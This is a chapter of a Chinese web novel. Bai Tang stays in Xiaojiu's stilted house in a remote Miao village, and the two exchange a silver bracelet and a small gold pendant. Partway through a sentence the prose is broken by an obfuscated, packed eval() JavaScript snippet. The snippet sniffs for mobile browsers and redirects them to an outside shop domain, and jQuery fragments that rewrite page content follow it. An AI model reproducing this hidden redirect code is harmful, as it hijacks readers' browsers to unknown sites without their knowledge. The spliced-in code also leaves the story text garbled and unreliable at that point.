小九领着众人进了吊脚楼。刚一进去,白棠就看到了与外面完全不同的现代气息:屋里一尘不染,电器也颇有几件,比起银鼓苗寨的民宿,这里也不错。
只不过,一眼就能看出这里是私人空间,并非对外开放的。
吴松看了一圈,忍不住调侃道:“变化挺大啊!”
“都是这两年才搞的。你好多年不回来,自然不知道。”
“你要把这里变成第二个银鼓苗寨吗?”
“暂时没想,只是想让生活便利些罢了。”小九淡淡地招呼着客人,“这里的房间你们可以任意选,就是别去后院的吊脚楼。”
“后院?”郝燕下意识往后门望了一眼。
小九解释道:“那里常年没人住,不干净。”
“哦……”
众人不疑有他,各自选了自己心仪的房间。胡月照例和郝燕住在了一起,白棠则选了一个二楼的房间,房间不算大,但打开窗户就能看见山。
白棠将行李收拾好,打开房间通了通风。外面传来儿童的喧闹声,一切都是那么平静美好。
看来这生苗寨和熟苗寨也没什么太大区别。
天已经开始擦黑,白棠走进了浴室。这里唯一不方便的就是洗澡:水是直接引的山泉水,纯净清冽。小九家完全靠发电机供电,功率太高的电器用不了。房间里没有热水器,想要沐浴,就要冒着着凉的风险。
但对于这样一个隐藏在深山里的苗寨来说,这样的条件已属不易,白棠不能强求太多,她忍着冷水洗了。
楼下传来了饭菜香,是小九在为众人准备晚饭。当白棠下楼时,几个苗人正在竹桌上摆着各色食物。看见白棠,几人笑了笑,说了几句白棠听不懂的苗语。
白棠客气地同他们问了好,虽然语言不通,互相之间也莫名其妙地有了友好的交流。只是,当吴松走进来时,他的脸黑了。
吴松用苗语说了些什么,几人的笑容收敛了。其中一人明显面露不悦,但看了看白棠,终究没有发作。
待那几人离开后,吴松才开了口:“白棠,在这儿玩玩就好,别和当地人交流太多。”
白棠满头雾水:“你刚才和他们说了什么?”
“没什么,不是好话。”
吴松不想多说,他草草地敷衍了一句。白棠正纳闷儿时,忽一眼瞥见小九站在门口,正默默地看着他们。
“阿松哥别生气,是他们冒犯了。”小九拉了一张凳子示意白棠坐下,“阿棠也别在意。”
白棠全程发懵,她纳闷儿地问道:“他们到底说了什么呀?”
小九意味深长:“他们说啊,阿妹这么好看,要不要在这里选一个阿哥,做他的婆娘?”
白棠的脸一下子就绿了。
吴松安慰她道:“以后听不懂就不要搭理,随他们说什么去。”
白棠嗯了一声,不再搭话。小九为她倒了茶:“饿了吧,咱们吃饭。”
吴松看了一眼手机:“胡月和郝燕她们怎么还没下来?”
“我们来了!”
说话间,胡月和郝燕走了下来,她们刚刚洗了澡,身上还带着喷香的水汽。
“小九,这里哪有卖洗发露的?”胡月理了理自己的头发,“要是能洗个热水澡就更好了。”
“没有洗发露,也洗不了热水澡。”小九遗憾地摇了摇头,“不过有药皂,是我亲手做的,可好?”
胡月眼睛一亮:“好啊!”
“等吃了饭我拿给你。”
众人说着,一起坐在了餐桌旁。今晚的接风宴格外丰盛,除了小九亲手采的蘑菇,还有很多白棠叫不出名的东西。其中一道炖牛肉,让她无比喜欢,小九告诉她这是用“山奈”炖的。
山奈是什么,白棠闻所未闻,但她着实多吃了一碗饭。
小九似乎心情很好,他抱出了自酿的糯米酒,又拿出了一叠碗。轮到白棠时,小九特意把碗底有蝴蝶图案的那只放在了她的面前。
没人在意他这个小举动,或者说,根本没人注意到碗底。
忽而郝燕哕了一声,众人看时,原来是她吃了一口凉拌折耳根。
郝燕抱怨起来:“这什么味儿啊!”
“我尝尝。”
白棠好奇心颇重地夹了一根,小心翼翼地咬了半截,眉头也跟着皱了起来。
“哎呀,这味儿够冲的……”
吴松哈哈大笑起来,连少言寡语的小九也舒展了眉毛:“你们外地人吃不惯的,快别吃了。”
这顿饭吃得气氛融洽极了。吃过了饭,大伙都有些累了。白棠回了自己房间,刚要睡下,突然听见了敲门声。
“阿棠,你睡了吗?”
“还没有。”
白棠打开了门,只见小九拿着一块药皂:“没打扰你吧?”
“没有。”白棠接过了药皂,药皂颜色黑黑的,有一股好闻的中药香。白棠忍不住赞叹:“好香啊,这是你自己做的?”
“是啊。”小九自顾自地走进了白棠的房间,打量了一圈,“这里可还住得惯?”
白棠对他的突然闯入有些诧异,但想着他毕竟是生苗,不懂规矩也是有的。
“住得惯,这里很好。”
小九并没有做什么过分的举动,只是帮白棠关上了窗户:“夜里凉,女孩子不要开窗户睡。还有……”
“什么?”
“如果没什么事,夜晚不要往外看。”小九正色警告,“就算看见了什么,也当没看见就是。”
这话让白棠起了一身鸡皮疙瘩:“你是指……什么?”
小九认真地说道:“这寨子也有几百年了,有些奇怪的东西很正常。只要不去惊扰,它们不会注意到你的。”
说着,小九就要离开。白棠心惊肉跳:“你……你确定这里没事?”
小九一本正经地安慰她:“其实也不必太害怕!那些东西虽然很喜欢找人,可它们进不来我的吊脚楼。就算真的进来了,好歹还有我呢!我就在你隔壁……”
白棠听着听着有点回过味儿来了,她又气又笑:“坏小九!你是不是吓唬我玩呢?”
“是,也不是。”小九给出了模棱两可的答案,“东西是真的有,但它们不会来找你……”
白棠狐疑地看着他。
小九轻轻拿起了她的左手,抚摸了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17888365|212654||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下她手腕上的银镯,神色郑重:“这是我给你的护身符。只要戴着这个,没有什么会来伤害你。”
气氛变得有些怪异起来,不知是不是喝了酒的缘故,白棠的心突突乱跳。
她猛地抽回了手,脸颊红得像石榴:“那个……你这份礼物太贵重了,我……我本不该收的。”
“除了你,没人可以戴上它。”小九深深地看着她,“阿棠,我……”
“对了!”
白棠赶紧打断了他:“说起来,我也有东西要送给你。”
小九狐疑地看着她。
白棠临时起意,从脖子上摘下了一枚吊坠:“给!”
小九狐疑地眯起眼睛看了一眼:那是一个金葫芦,看起来像个小黄豆,有点可爱,却小得可怜。
那是金价大跳水时白棠买来玩的,二百多一个。
“这是我前些年买的,当个玩意儿戴着。”白棠有些不好意思,“抱歉哈,有点小。”
小九眼里迸发出难以抑制的喜悦,他呼吸变得粗重起来,双手颤抖着接过了吊坠:“不,我就喜欢这样的!阿棠,这是你第一次送我礼物。”
说话间,小九小心翼翼地戴在了脖子上。金葫芦落在小九的胸前,在各种各样繁复银饰的衬托下,越发显得可怜。可小九却高兴坏了,他将它摆在了胸前最显眼的地方。
此时白棠有点后悔送这个了:太小了!戴了和没戴一样。
她着实有些懊恼:桌子底下放风筝,出手就不高。
“阿棠,好看吗?”小九孩子气地问道,“是不是和我很搭?”
“好看,好看极了!”白棠硬着头皮夸奖,内心却在腹诽:根本看不出来啊!
小九的双颊肉眼可见地红了:“阿棠,谢谢你,这真是我收到的最好的礼物!”
“呃……你能喜欢,我真开心!”
白棠不自然地笑了笑,小九质朴的感谢让她越发无地自容:啧,这不值钱的玩意儿!
这孩子倒没嫌弃,挺好。
“以后有机会送你更好的。天色晚了,我也不留你了。明天见。”
小九眼波似水:“好,那就……明天见。”
关上了门后,白棠松了一口气:呼……尬死我了!
不知那孩子是真喜欢还是假喜欢,总之,他倒是挺给自己面子的。
白棠一边想着,一边走进浴室。水还是一如既往的凉,不过眼下的白棠很需要这股凉意,来缓解一下尴尬的情绪。
等旅行结束,小九就会从自己的生活中彻底消失。而自己,也不过是小九生命中的一个过客罢了。
就像千千万万的过客一样,来了又去了,多年后谁也不会记得谁。对于彼此来说,留下一段回忆就足够了。
哦,顺便再把这该死的尴尬忘掉。
白棠这样想着,拿起了药皂。药皂是圆形的,握在手里很瓷实,只略略沾水,就出了一堆泡沫。
泡沫好啊,糊住脸,不听不看不想。
殊不知此时的窗外,一个人影正望着她的窗口,久久徘徊。
“投我以木瓜,报之以琼琚……汉人的诗,果然没有骗人……”